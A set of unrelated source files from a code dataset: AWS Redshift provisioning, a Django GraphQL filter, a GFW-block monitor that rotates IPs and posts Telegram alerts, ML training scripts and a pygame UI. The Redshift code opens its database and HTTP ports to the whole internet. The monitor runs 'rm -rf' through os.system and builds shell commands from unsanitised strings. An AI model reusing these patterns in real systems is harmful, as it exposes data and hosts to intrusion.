'2012-10-17',\n 'Statement': [{\n 'Action': 'sts:AssumeRole',\n 'Effect': 'Allow',\n 'Principal': {'Service': 'redshift.amazonaws.com'}\n }]\n })\n )\n iam_client.attach_role_policy(\n RoleName = config.get('SECURITY', 'ROLE_NAME'),\n PolicyArn = arn_policy\n )\n print('IAM Role Created: %s.' % (config.get('SECURITY', 'ROLE_NAME')))\n return role\n \n except ClientError as e:\n print(e)\n\n\ndef create_cluster_security_group():\n \"\"\"\n - This function: Creates VPC Security Group on AWS\n \n Returns:\n string: Security Group ID\n \"\"\"\n \n try:\n response = ec2_client.describe_security_groups(Filters= [{\"Name\": \"group-name\", \"Values\": [config.get('SECURITY', 'SG_NAME')]}])\n except ClientError as e:\n print(e)\n\n if len(response['SecurityGroups']) > 0:\n print('Security Group already exists: ' + response['SecurityGroups'][0]['GroupId'])\n return response['SecurityGroups'][0]['GroupId']\n else:\n response = None\n\n if response is None:\n vpc_id = config.get('SECURITY', 'VPC_ID')\n if vpc_id == \"\":\n response = ec2_client.describe_vpcs()\n vpc_id = response.get('Vpcs', [{}])[0].get('VpcId', '')\n\n try:\n response = ec2_client.create_security_group(GroupName=config.get('SECURITY', 'SG_NAME'),Description='Redshift security group',VpcId=vpc_id)\n security_group_id = response['GroupId']\n print('Security Group Created %s in vpc %s.' % (security_group_id, vpc_id))\n\n ec2_client.authorize_security_group_ingress(\n GroupId=security_group_id,\n IpPermissions=[\n {'IpProtocol': 'tcp',\n 'FromPort': 80,\n 'ToPort': 80,\n 'IpRanges': [{'CidrIp': '0.0.0.0/0'}]},\n {'IpProtocol': 'tcp',\n 'FromPort': 5439,\n 'ToPort': 5439,\n 'IpRanges': [{'CidrIp': '0.0.0.0/0'}]}\n ])\n return security_group_id\n except ClientError as e:\n print(e)\n\n\ndef create_redshift_cluster(config, iam_role_arn, cluster_sg_id):\n \"\"\"\n - This function: Creates an Amazon Redshift cluster on AWS\n \n Args:\n config (ConfigParser object): Configuration File to define Resource configuration\n iam_role_arn (string): AWS IAM role to attached on Cluster\n cluster_sg_id (string): AWS VPC Security Group ID\n \n Returns:\n dictionary: AWS Redshift Cluster Information\n \"\"\"\n\n try:\n response = redshift_client.describe_clusters(ClusterIdentifier=config.get('CLUSTER', 'CLUSTER_IDENTIFIER'))\n print('Redshift Cluster already exists: ' + response['Clusters'][0]['ClusterIdentifier'])\n return None\n except:\n response = None\n\n if response is None:\n try:\n response = redshift_client.create_cluster(\n #HW\n ClusterIdentifier=config.get('CLUSTER', 'CLUSTER_IDENTIFIER')\n ,ClusterType=config.get('CLUSTER', 'CLUSTER_TYPE')\n ,NumberOfNodes=config.getint('CLUSTER', 'NUMBER_OF_NODES')\n ,NodeType=config.get('CLUSTER', 'NODE_TYPE')\n ,PubliclyAccessible=True\n \n #Identifiers & Credentials\n ,DBName=config.get('CLUSTER', 'DB_NAME')\n ,MasterUsername=config.get('CLUSTER', 'DB_USER')\n ,MasterUserPassword=config.get('CLUSTER', 'DB_PASSWORD')\n ,Port=config.getint('CLUSTER', 'DB_PORT')\n \n #Roles (for s3 access)\n ,IamRoles=[iam_role_arn]\n ,VpcSecurityGroupIds=[cluster_sg_id]\n )\n return response['Cluster']\n except ClientError as e:\n print(f'ERROR: {e}')\n return None\n\n\ndef wait_for_cluster_creation(cluster_id):\n \"\"\"\n - This function: Verifies if AWS Redshift Cluster was created\n \n Args:\n cluster_id (string): AWS Redshift Cluster Name\n \n Returns:\n dictionary: AWS Redshift Cluster Information\n \"\"\"\n \n while True:\n response = redshift_client.describe_clusters(ClusterIdentifier=cluster_id)\n cluster_info = response['Clusters'][0]\n if cluster_info['ClusterStatus'] == 'available':\n break\n time.sleep(60)\n\n return cluster_info\n\n\ndef create_resources():\n \"\"\"\n - This function: Initiate Resources Creation\n \n Args:\n None\n \n Returns:\n None\n \"\"\"\n\n config = configparser.ConfigParser()\n config.read(config_file)\n\n iam_role = create_iam_role(config, S3_ARN_POLICY)\n cluster_sg_id = create_cluster_security_group()\n cluster_info = create_redshift_cluster(config, iam_role['Role']['Arn'], cluster_sg_id)\n\n if cluster_info is not None:\n print(f'Creating cluster: {cluster_info[\"ClusterIdentifier\"]}')\n print(f'Cluster status: {cluster_info[\"ClusterStatus\"]}')\n print(f'Database name: {cluster_info[\"DBName\"]}')\n\n print('Waiting for cluster to be created...')\n cluster_info = wait_for_cluster_creation(cluster_info['ClusterIdentifier'])\n print(f'Cluster created.')\n print(f\"Endpoint={cluster_info['Endpoint']['Address']}\")\n\n # Writing to .cfg file\n print('Updatting CFG file...')\n update_config_file(config_file, 'CLUSTER', 'HOST', cluster_info['Endpoint']['Address'])\n update_config_file(config_file, 'SECURITY', 'ROLE_ARN', iam_role['Role']['Arn'])\n update_config_file(config_file, 'SECURITY', 'SG_ID', cluster_sg_id)\n print('CFG file Updated.')\n\nif __name__ == \"__main__\":\n create_resources()","sub_path":"apache-airflow-data-pipelines/src/create_aws_cluster.py","file_name":"create_aws_cluster.py","file_ext":"py","file_size_in_byte":8872,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"210783214","text":"from collections import OrderedDict\nfrom functools import partial\n\nfrom django.db.models.query import QuerySet\n\n# from graphene.relay import is_node\nfrom graphene.types.argument import to_arguments\nfrom graphene_django.utils import maybe_queryset\n\nfrom ..fields import DjangoConnectionField\nfrom ..optimization import optimize_queryset\nfrom .utils import get_filtering_args_from_filterset, get_filterset_class\n\n\nclass DjangoFilterConnectionField(DjangoConnectionField):\n\n def __init__(self, type, fields=None, order_by=None,\n extra_filter_meta=None, filterset_class=None,\n *args, **kwargs):\n self._fields = fields\n self._provided_filterset_class = filterset_class\n self._filterset_class = None\n self._extra_filter_meta = extra_filter_meta\n self._base_args = None\n super(DjangoFilterConnectionField, self).__init__(\n type, *args, **kwargs)\n\n @property\n def args(self):\n return to_arguments(self._base_args or OrderedDict(), self.filtering_args)\n\n @args.setter\n def args(self, args):\n self._base_args = args\n\n @property\n def filterset_class(self):\n if not self._filterset_class:\n fields = self._fields or self.node_type._meta.filter_fields\n meta = dict(model=self.model,\n fields=fields)\n if self._extra_filter_meta:\n meta.update(self._extra_filter_meta)\n\n self._filterset_class = get_filterset_class(\n self._provided_filterset_class, **meta)\n\n return self._filterset_class\n\n @property\n def filtering_args(self):\n return get_filtering_args_from_filterset(self.filterset_class, self.node_type)\n\n @classmethod\n def connection_resolver(cls, resolver, connection, default_manager, max_limit,\n enforce_first_or_last, filterset_class, filtering_args,\n root, args, context, info):\n\n filter_kwargs = {k: v for k, v in args.items() if k in filtering_args}\n qs = resolver(root, args, context,\n info) or default_manager\n qs = maybe_queryset(qs)\n if isinstance(qs, QuerySet):\n qs = filterset_class(\n data=filter_kwargs,\n queryset=qs\n ).qs\n qs = optimize_queryset(qs, info)\n\n return super(DjangoFilterConnectionField, cls).connection_resolver(\n lambda *args: None,\n connection,\n qs,\n max_limit,\n enforce_first_or_last,\n root,\n args,\n context,\n info\n )\n\n def get_resolver(self, parent_resolver):\n return partial(\n self.connection_resolver,\n parent_resolver,\n self.type,\n self.get_manager(),\n self.max_limit,\n self.enforce_first_or_last,\n self.filterset_class,\n self.filtering_args\n )\n","sub_path":"graphene_django/filter/fields.py","file_name":"fields.py","file_ext":"py","file_size_in_byte":3001,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"255476923","text":"import socket\nimport time\nimport os\nimport requests\nimport threading\n\nclass Config():\n def __init__(self):\n self.blocked = False\n self.chat_id = '< tg group id >'\n self.api_key = '< tg bot api key >'\n self.interval = 1\n\nclass Logger():\n def __init__(self):\n self.dir = '/root/gfw/'\n self.path = self.dir + 'gfw.log'\n self.busyPath = self.dir + 'busy.log'\n\n def init_log_file(self):\n if not os.path.exists(self.dir):\n os.makedirs(self.dir)\n f = open(self.path, 'w')\n f.close()\n f = open(self.busyPath, 'w')\n f.close()\n if not os.path.isfile(self.path):\n f = open(self.path, 'w')\n f.close()\n if not os.path.isfile(self.busyPath):\n f = open(self.busyPath, 'w')\n f.close()\n\n def logTime(self):\n return time.strftime(\"%Y-%m-%d %H:%M:%S\")\n\n def logLevel(self, level):\n if level == -999:\n return \"[test]\"\n elif level == -1:\n return \"[failed]\"\n elif level == 0:\n return \"[info]\"\n elif level == 1:\n return \"[success]\"\n elif level == 2:\n return \"[warning]\"\n\n def newLog(self, level, strMain):\n strToAdd = self.logTime() + \" \" + self.logLevel(level) + \" \" + strMain + \"\\n\"\n with open(self.path, 'a') as f:\n f.write(strToAdd)\n f.close()\n\n def newLogBusy(self, level, strMain):\n strToAdd = self.logTime() + \" \" + self.logLevel(level) + \" \" + strMain + \"\\n\"\n with open(self.busyPath, 'a') as f:\n f.write(strToAdd)\n f.close()\n\nclass TCPing():\n def __init__(self):\n self.what = 1\n self.status = []\n self.ipportList = [\n ('www.foshan.gov.cn',80),\n ('www.sz.gov.cn',80),\n ('www.gz.gov.cn',80)\n ]\n\n def eraseStatus(self):\n if self.status != []:\n self.status = []\n\n def tcping(self, ip_port):\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n t_start = round(time.time()*1000)\n try:\n s.settimeout(1)\n s.connect(ip_port)\n s.shutdown(socket.SHUT_RD)\n t_end = round(time.time()*1000)\n s.settimeout(None)\n return -1\n # s.close()\n except Exception as e:\n s.settimeout(None)\n return 1\n\n def tcpingReult(self, ip_port):\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n t_start = round(time.time()*1000)\n try:\n s.settimeout(1)\n s.connect(ip_port)\n s.shutdown(socket.SHUT_RD)\n t_end = round(time.time()*1000)\n s.settimeout(None)\n re = (t_end-t_start), \"ms\"\n self.status.append(-1)\n # print( (t_end-t_start), \"ms\" )\n # s.close()\n except Exception as e:\n s.settimeout(None)\n self.status.append(1)\n log = Logger()\n log.newLogBusy(0, str(e))\n # print('[failed] timeout')\n\n def tcpingMuThread(self):\n log = Logger()\n t1 = threading.Thread( target=self.tcpingReult, args=[self.ipportList[0]] )\n t1.start()\n t2 = threading.Thread( target=self.tcpingReult, args=[self.ipportList[1]] )\n t2.start()\n t3 = threading.Thread( target=self.tcpingReult, args=[self.ipportList[2]] )\n t3.start()\n while True:\n if len(self.status)==3:\n log.newLogBusy(0, str(self.status))\n break\n\n j=0\n for i in self.status:\n if i == 1:\n j=j+1\n self.eraseStatus()\n\n if j==3:\n return True\n return False\n\n\ndef changeIp():\n os.system('dhclient -r -v eth0')\n os.system('rm -rf /var/lib/dhclient/*')\n os.system('dhclient -v eth0')\n\ndef getCurrentIp():\n url = r'http://whatismyip.akamai.com'\n r = requests.get(url)\n return r.text\n\ndef build_str(choice):\n if choice == -1:\n strTo = \"Server has been unblocked by GFW!\"\n elif choice == 1:\n strTo = \"Server has been blocked by GFW!\"\n elif choice == 0:\n strTo = \"Date: \"\n strTo += time.strftime(\"%Y-%m-%d %H:%M:%S\")\n strTo += \"%0ACurrent ip: \\`\\`\\`\"\n strTo += getCurrentIp()\n strTo += '\\`\\`\\`'\n elif choice == 2:\n strTo = \"Start to change ip!\"\n elif choice == 3:\n strTo = \"Py test!\"\n return strTo\n\ndef sendmsg_os(strTo, cfg):\n curl_cmd = 'curl \"https://api.telegram.org/bot' + cfg.api_key + '/sendMessage?text=' + strTo + '&chat_id=' + cfg.chat_id + '&parse_mode=Markdown\"'\n cmd = \"nohup \"+curl_cmd+\" >/dev/null 2>&1 &\"\n os.system(cmd)\n\ndef isNetworkOn(ip_port):\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n t_start = round(time.time()*1000)\n try:\n s.settimeout(1)\n s.connect(ip_port)\n s.shutdown(socket.SHUT_RD)\n t_end = round(time.time()*1000)\n s.settimeout(None)\n return True\n except Exception as e:\n s.settimeout(None)\n return False\n\ndef check_warn_newip(cfg):\n t = TCPing()\n log = Logger()\n log.init_log_file()\n if cfg.blocked:\n if not t.tcpingMuThread():\n time.sleep(cfg.interval)\n if not t.tcpingMuThread():\n time.sleep(cfg.interval)\n if not t.tcpingMuThread():\n log.newLog( 1, build_str(-1) )\n sendmsg_os(build_str(-1), cfg)\n log.newLog( 0, build_str(0) )\n sendmsg_os(build_str(0), cfg)\n\n cfg.blocked = False\n else:\n log.newLog( 0, build_str(2) )\n os.system(\"nohup /usr/bin/nip 0 >/dev/null 2>&1 &\")\n else:\n if t.tcpingMuThread():\n time.sleep(cfg.interval)\n if t.tcpingMuThread():\n time.sleep(cfg.interval)\n if t.tcpingMuThread():\n log.newLog( 2, build_str(1) )\n sendmsg_os( build_str(1), cfg )\n log.newLog( 0, build_str(2) )\n os.system(\"nohup /usr/bin/nip 0 >/dev/null 2>&1 &\")\n\n cfg.blocked = True\n\ndef main():\n cfg = Config()\n while True:\n if isNetworkOn( ('8.8.8.8',53) ):\n check_warn_newip(cfg)\n time.sleep(10)\n\ndef test():\n t = TCPing()\n if t.tcpingMuThread():\n print('blocked')\n else:\n print('can connect')\n\nif __name__ == '__main__':\n main()\n","sub_path":"blocked.py","file_name":"blocked.py","file_ext":"py","file_size_in_byte":6581,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"584714194","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Fri Nov 1 15:59:14 2019\r\n\r\n@author: vyas\r\n\"\"\"\r\nimport numpy as np\r\nfrom Data import *\r\nfrom Tree import *\r\n\r\nimport csv\r\nimport codecs\r\n \r\ndef ImportData(file_name):\r\n print(__name__)\r\n data=[]\r\n print(\"Importing data....\")\r\n \r\n#a1 Temperature of patient { 35C-42C }\r\n#a2 Occurrence of nausea { yes, no }\r\n#a3 Lumbar pain { yes, no }\r\n#a4 Urine pushing (continuous need for urination) { yes, no }\r\n#a5 Micturition pains { yes, no }\r\n#a6 Burning of urethra, itch, swelling of urethra outlet { yes, no }\r\n#d1 decision: Inflammation of urinary bladder { yes, no }\r\n#d2 decision: Nephritis of renal pelvis origin { yes, no }\r\n \r\n #TBD:Hard coding today\r\n # ColumnNum, \"Name\", numder of Decision branch, values of decision branch\r\n \r\n \r\n f=codecs.open(file_name,\"rb\",\"utf-16\")\r\n csvread=csv.reader(f,delimiter=',')\r\n for row in csvread:\r\n data.append(row)\r\n ndata = np.asarray(data)\r\n c1 = ClassColumn(\"input\", \"Temperature\", \"less_than_38\", \"greater_than_38\", ndata[:,0])\r\n c2 = ClassColumn(\"input\", \"Nausea\", \"yes\", \"no\", ndata[:,1])\r\n c3 = ClassColumn(\"input\", \"Lumbar\", \"yes\", \"no\", ndata[:,2])\r\n c4 = ClassColumn(\"input\", \"Urine pain\", \"yes\", \"no\", ndata[:,3])\r\n c5 = ClassColumn(\"input\", \"Micturition\", \"yes\", \"no\", ndata[:,4])\r\n c6 = ClassColumn(\"input\", \"Burning\", \"yes\", \"no\", ndata[:,5])\r\n c7 = ClassColumn(\"output\", \"Decision: Inflamation\", \"yes\", \"no\", ndata[:,6])\r\n \r\n t = Tree(0)\r\n t.AddColumn(c1)\r\n t.AddColumn(c2)\r\n t.AddColumn(c3)\r\n t.AddColumn(c4)\r\n t.AddColumn(c5)\r\n t.AddColumn(c6)\r\n t.AddColumn(c7)\r\n\r\n return t, ndata\r\n\r\n\r\n\r\n \r\n \r\ndef Dtree(graph,t):\r\n print(__name__)\r\n PreOrderTraversal(graph, t,\"valid\", 0,\"\")\r\n \r\n \r\ndef main():\r\n file_name = \"G:/code/decision-tree/data/nephra/diagnosis.clean.data\"\r\n tree, ndata = ImportData(file_name)\r\n g = TreeGraph(\"play\", tree)\r\n\r\n Dtree(g, tree)\r\n\r\n\r\nif __name__ == \"__main__\":\r\n # execute only if run as a script\r\n main()","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2084,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"583907006","text":"# Code l'aspect graphique du jeu, les elements graphiques et d'interface graphique. \n\nimport pygame\nfrom math import *\nfrom Pygame_commands import *\nfrom Sound_design import *\n\nclass Couleur :\n \"\"\" Les couleurs de l'interface. Les attributs sont les suivants :\\n RGB = [R,G,B]\\nNom = \"Nom de la couleur\" \"\"\"\n\n def __init__(self, nom, RGB):\n \"\"\" Constructeur de la classe Couleur. \"\"\"\n # Attributs\n self.nom = nom\n self.RGB = RGB\n \n def __str__(self):\n return self.nom \n \n# Initialisation des differentes couleurs dans le jeu. \nMarron = Couleur(\"Raw Sienna\", [220, 130, 71])\nCyan = Couleur(\"Cyan\", [0,255,255])\nJaune = Couleur(\"Jaune\", [255,255,0])\nVert = Couleur(\"Malachite\", [59, 216, 101])\nRouge = Couleur(\"Rouge\", [255,0,0])\nBleu = Couleur(\"Bleu\",[0,0,255])\nNoir = Couleur(\"Noir\", [0,0,0])\nBlanc = Couleur(\"Blanc\", [255,255,255])\nGris = Couleur(\"Gris fonce\", [130,130,130])\n\nclass User_Interface:\n \"\"\" Les elements d'interface graphique du jeu (boutons, cadre, retangles de conversation etc.).\\n\\nLes methodes : widow_draw_rect | hover_check | ecrire | background | transition_debut | transition_fin \"\"\"\n\n def __init__(self):\n \"\"\" Le constructeur de la classe. \"\"\"\n self.couleur = Blanc.RGB # Couleur de l'objet\n self.alpha = 155 # Transparence de l'objet\n self.surface = int() # Surface de l'objet\n self.texte = str()\n self.texte_pos_XY = []\n self.hover_state = False\n self.disponible = True\n self.background_disponibles = [\"Bar\", \"BGai\", \"Port\", \"Arcade\"]\n\n def window_draw_rect(self, PositionX, PositionY, Largeur, Hauteur):\n \"\"\" Dessine un rectangle. \\n\\nColor : [R,G,B] | Alpha (0-255)\\n\\nExemple d'utilisation : CTA.window_draw_rect(50,50,150,150) \"\"\"\n\n # Dessine les bordures du rectangle\n Epaisseur = 5 # Pixels \n\n # Dessine le fond du rectangle\n s = pygame.Surface((Largeur + Epaisseur, Hauteur + Epaisseur), pygame.SRCALPHA) # alpha par pixel\n s.fill((0,0,0,self.alpha)) # remarquez la valeur alpha dans les couleurs\n jeu.screen.blit(s, (PositionX,PositionY))\n\n # Permet d'enregistrer la nouvelle surface de l'objet\n self.surface = s.get_rect(topleft=(PositionX, PositionY))\n\n # Bordure Haute, Droite, Gauche, Basse\n # pygame.draw.rect(jeu.screen, self.couleur, (PositionX, PositionY, Largeur, Hauteur), Epaisseur)\n pygame.draw.rect(jeu.screen, self.couleur, (PositionX, PositionY, Largeur, Epaisseur))\n pygame.draw.rect(jeu.screen, self.couleur, (PositionX + Largeur, PositionY, Epaisseur, Hauteur))\n pygame.draw.rect(jeu.screen, self.couleur, (PositionX, PositionY, Epaisseur, Hauteur))\n pygame.draw.rect(jeu.screen, self.couleur, (PositionX, PositionY + Hauteur, Largeur + Epaisseur, Epaisseur))\n\n @property\n def hover_check(self):\n \"\"\" Verifie lorsqu'on passe en hover sur le bouton / l'objet.\\n\\nExemple d'utilisation : CTA.hover_check \"\"\"\n\n # Si la souris est disponible et si le bouton est disponible\n if self.disponible and souris.disponible:\n # Si on est en hover\n if self.surface.collidepoint(souris.pos[0], souris.pos[1]) and self.disponible:\n self.couleur = Marron.RGB\n self.hover_state = True\n # Si on n'est pas en hover\n else :\n self.couleur = Blanc.RGB\n self.hover_state = False\n # Si c'est indisponible car on a deja clique dessus\n else :\n self.couleur = Gris.RGB\n self.hover_state = False\n \n @property\n def cliquer(self):\n \"\"\" Ce qui se passe lorsqu'on clique sur l'objet. \"\"\"\n\n if self.hover_state and souris.click:\n SFX.jouer(\"Click\", 0)\n return True\n \n def ecrire(self, texte, graisse, taille, position):\n \"\"\" Permet d'ecrire quelque chose a l'ecran.\\n\\n=> Graisses disponibles : Black, ExtraBold, Bold, SemiBold, Medium, Regular, ExtraLight, Thin\\n\\n=> Exemple d'utilisation : CTA.ecrire(\"Bonjour\", \"Thin\", 20, (10,10)) \"\"\"\n\n self.texte = str(texte)\n self.texte_pos_XY = position\n\n # Police d'ecriture\n font = pygame.font.Font(f'Assets/Police/robotoSlab-{graisse}.ttf', taille)\n\n # Sous quelle forme va apparaitre le texte\n afficher = font.render(texte, True, self.couleur) \n jeu.screen.blit(afficher, self.texte_pos_XY)\n\n def background(self, fond):\n \"\"\" Permet de mettre un fond.\\n\\nLes fond disponibles : Bar | Port\\n\\nExemple d'utilisation : UI[0].background(\"Bar\") \"\"\"\n\n # Background \n background_image = pygame.image.load(f'Assets/Background/{fond}.png')\n\n # Depose l'image du background sur l'ecran. \n jeu.screen.blit(background_image, (0,0))\n\n @property\n def transition_debut(self):\n \"\"\" Les transitions d'ecran. \"\"\"\n\n # Desactive la souris\n souris.disponible = False\n\n # Fait glisser un rectangle noir sur tout l'ecran de haut en bas jusqu'a le recouvrir entierement. \n for i in range(61):\n jeu.quit\n pygame.draw.rect(jeu.screen, Noir.RGB, (0, i * 10 - 600, 1000, 600))\n\n # Met a jour l'affichage de l'ecran.\n pygame.display.update()\n\n # Block le nombre de refreshrate a 60 fps.\n jeu.clock.tick(60)\n \n # Attend 1 seconde\n chrono.debut_timer\n while chrono.decompte(1) > 0:\n jeu.quit\n\n souris.disponible = True\n \n def transition_fin(self, pos_Y):\n \"\"\" Les transitions sortant d'ecran. L'idee est d'augmenter pos_Y jusqu'a 600. \"\"\"\n\n # Dessine un ecran noir. \n pygame.draw.rect(jeu.screen, Noir.RGB, (0, pos_Y, 1000, 600))\n \n # Si le rectangle noir sort de l'ecran, la souris redevient disponible. \n if pos_Y >= 600:\n souris.disponible = True\n\n def reset_disponibilite(self, objet):\n \"\"\" Permet de remettre a 0 les disponibilites. \"\"\"\n\n for i in objet:\n i.disponible = True\n\n\n# Initialisation des elements d'interface\nUI = [User_Interface() for i in range(15)]\n\n# Initialisation des call to action\nCTA = [User_Interface() for i in range(14)]\n","sub_path":"User_interface.py","file_name":"User_interface.py","file_ext":"py","file_size_in_byte":6318,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"341968554","text":"import pandas as pd \nimport numpy as np \nimport matplotlib.pyplot as plt \nfrom sklearn.preprocessing import LabelEncoder\nimport re \nfrom sklearn.feature_extraction import DictVectorizer\nfrom sklearn.model_selection import train_test_split\nimport pandas as pd\nfrom pandas.tseries.holiday import USFederalHolidayCalendar as calendar\nimport nltk \nimport lightgbm as lgb \nfrom sklearn.metrics import mean_squared_error\n\nfrom extract_feat_base import * \n\n### FUNC ########################################################################\n\n#################################################################################\n\n\n### FEATURE ENG. ################################################################\nmeta = {'target': 'deal_probability', \n 'test_id': 'item_id', \n 'cols': {\n 'item_id': 'REM', \n 'user_id': 'CAT', \n 'region': 'CAT', \n 'city': 'CAT', \n 'parent_category_name': 'CAT',\n 'category_name': 'CAT',\n 'param_1': 'CAT', \n 'param_2': 'CAT', \n 'param_3': 'CAT', \n 'title': 'LEN', \n 'description': 'LEN' , \n 'price': 'NUM', \n 'item_seq_number': 'NUM', \n 'activation_date': 'DATE', \n 'user_type': 'CAT', \n 'image': 'REM',\n 'image_top_1': 'NUM'\n }}\n\ntrain = pd.read_csv('data/train.csv')\ntest = pd.read_csv('data/test.csv')\n\nprint('--------------> Basic Feature Engineering ... ')\nall_data , y_train = encode_dataset(train=train,test=test,meta=meta,target_model='lightgbm')\nprint(all_data.head())\nprint(\">>>>>>> shape:\",all_data.shape)\nprint('--------------> Advanced Feature Engineering ... ')\n#for f in ['activation_date_is_holiday']:\n# all_data = all_data.drop(f,axis=1)\nprint(all_data.head())\nprint(\">>>>>>> shape:\",all_data.shape)\n\n#categorical_features = []\n#for f in meta['cols'].keys():\n# if meta['cols'][f] == 'CAT':\n# for i,col in enumerate(all_data.columns.tolist()):\n# if col == f:\n# categorical_features.append(i)\n#\n#print(\">>> categorical features:\",categorical_features)\n#################################################################################\n\n### MODELING ####################################################################\nprint('--------------> Modeling ... ')\ntrain_obs = len(y_train)\nXtr, Xv, ytr, yv = train_test_split(all_data[:train_obs].values, y_train, test_size=0.1, random_state=1973)\n# create dataset for lightgbm\nlgb_train = lgb.Dataset(Xtr, ytr)\nlgb_eval = lgb.Dataset(Xv, yv, reference=lgb_train)\n#lgb_test = lgb.Dataset(all_data[train_obs:].values)\n\n# specify your configurations as a dict\nparams = {\n 'task': 'train',\n 'boosting_type': 'gbdt',\n 'objective': 'regression',\n 'metric': 'rmse',\n 'num_leaves': 31, #31\n 'learning_rate': 0.01, #0.01\n 'feature_fraction': 0.7, #0.7, #0.9 \n 'bagging_fraction': 0.95, #0.95, #0.8\n 'max_bin': 100, #100, # 255\n 'max_depth': -1, #5, # -1 \n 'bagging_freq': 1, #1, # 5 \n 'verbose': 0\n }\n\n\nprint('Start training...')\n# train\ngbm = lgb.train(params,\n lgb_train,\n num_boost_round=100000,\n valid_sets=lgb_eval,\n feature_name=all_data.columns.tolist(),\n #categorical_feature=categorical_features,\n early_stopping_rounds=50)\n\nprint('Save model...')\n# save model to file\ngbm.save_model('model_lightgbm.txt')\n\nprint('Start predicting...')\n# predict\ny_pred_eval = gbm.predict(Xv, num_iteration=gbm.best_iteration)\n# eval\nrmse_eval = mean_squared_error(yv, y_pred_eval) ** 0.5\nprint('The rmse of prediction is:', rmse_eval)\n\nprint('--------------> Submission ... ')\npred = gbm.predict(all_data[train_obs:].values, num_iteration=gbm.best_iteration)\npred = (pred<0)*0+(pred>=0)*pred\npred = (pred<1)*pred+(pred>=1)*1\ntest[meta['target']] = pred\nsubfn = \"base_lightgbm_eta001_val_\"+str(rmse_eval)+\"__rnd_\"+str(gbm.best_iteration)+\".csv\"\ntest[[meta['test_id'], meta['target']]].to_csv(subfn, index=False)\n\nprint('--------------> Retrain all data + Feature importance ... ')\nlgb_train = lgb.Dataset(all_data[:train_obs].values,y_train)\nmodel = lgb.train(params, lgb_train, gbm.best_iteration+5,\n feature_name=all_data.columns.tolist() ,\n #categorical_feature=categorical_features\n )\nprint('-----> Submission ... ')\npred = model.predict(all_data[train_obs:].values,num_iteration=int(gbm.best_iteration*10/9))\npred = (pred<0)*0+(pred>=0)*pred\npred = (pred<1)*pred+(pred>=1)*1\ntest[meta['target']] = pred \nsubfn = \"base_lightgbm_tuned__rnd_\"+str(int((gbm.best_iteration*10/9)))+\".csv\"\ntest[[meta['test_id'], meta['target']]].to_csv(subfn, index=False)\n\ngain = model.feature_importance('gain')\nft = pd.DataFrame({'feature':all_data.columns.tolist(),\n 'split':model.feature_importance('split'),\n 'gain':100 * gain / gain.sum()}).sort_values('gain', ascending=False)\nprint(ft.head(25))\nft.to_csv('base_lightgbm_feat_importance_tuned.csv', index=False)\nprint(\"Done.\")\n#################################################################################\n\n\n","sub_path":"competitions/avito-demand-prediction/base_lightgbm.py","file_name":"base_lightgbm.py","file_ext":"py","file_size_in_byte":5215,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"36995243","text":"# Copyright 2018 SAS Project Authors. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\"\"\" A SAS Test Harness HTTP Server implementation based on v1.2 of the SAS-SAS TS.\n\nA SAS Test Harness server could be run by creating the object for the class\nSasTestHarnessServer and by invoking the API start().\n\"\"\"\n\nimport ConfigParser\nimport hashlib\nimport inspect\nimport json\nimport logging\nimport os.path\nimport random\nimport sas_interface\nfrom request_handler import TlsConfig, RequestGet\nimport ssl\nimport sys\nimport threading\nimport time\nfrom datetime import datetime, timedelta\nfrom urllib import quote\nfrom BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer\n\nDEFAULT_CERT_FILE = 'certs/server.cert'\nDEFAULT_KEY_FILE = 'certs/server.key'\nDEFAULT_CA_CERT = 'certs/ca.cert'\nCIPHERS = [\n 'AES128-GCM-SHA256', # TLS_RSA_WITH_AES_128_GCM_SHA256\n 'AES256-GCM-SHA384', # TLS_RSA_WITH_AES_256_GCM_SHA384\n 'ECDHE-ECDSA-AES128-GCM-SHA256', # TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256\n 'ECDHE-ECDSA-AES256-GCM-SHA384', # TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384\n 'ECDHE-RSA-AES128-GCM-SHA256', # TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256\n]\n\nclass SasTestHarnessServer(threading.Thread):\n \"\"\"\n SAS Test Harness class to create FAD records and to create a HTTP server\n to serve the FAD records. This class inherits from the Python Thread class.\n Every instance created for this class can be run under a separate thread. The\n code to be executed by the thread is placed under the overridden method run()\n where a HTTP server is created to serves the FAD files.\n \"\"\"\n def __init__(self, name, host_name, port, cert_file=None,\n key_file=None, ca_cert_file=None):\n \"\"\" This constructor initializes the SasTestHarnessServer class with required information\n passed as args.\n\n Args:\n name: A name for SAS Test Harness.If multiple SAS Test Harnesses are created\n then this value should be unique.\n host_name: Host name part of the SAS Test Harness URL.\n Note: this is without https:// or port number or version.\n port: port of SAS Test Harness host where http server is configured.\n cert_file: The relative path from the execution directory to the certificate\n file used by SAS Test Harness to authorize with SAS UUT.\n key_file: The relative path from the execution directory to the private key file\n for the cert_file.\n ca_cert_file: The relative path from the execution directory to the trusted\n CA certificate chain.\n \"\"\"\n super(SasTestHarnessServer, self).__init__()\n self.name = name\n self.host_name = host_name\n self.port = port\n self.sas_version = self.getSasTestHarnessVersion()\n\n #BaseURL format should be https: // < hostname >: < port > / versionX.Y\n 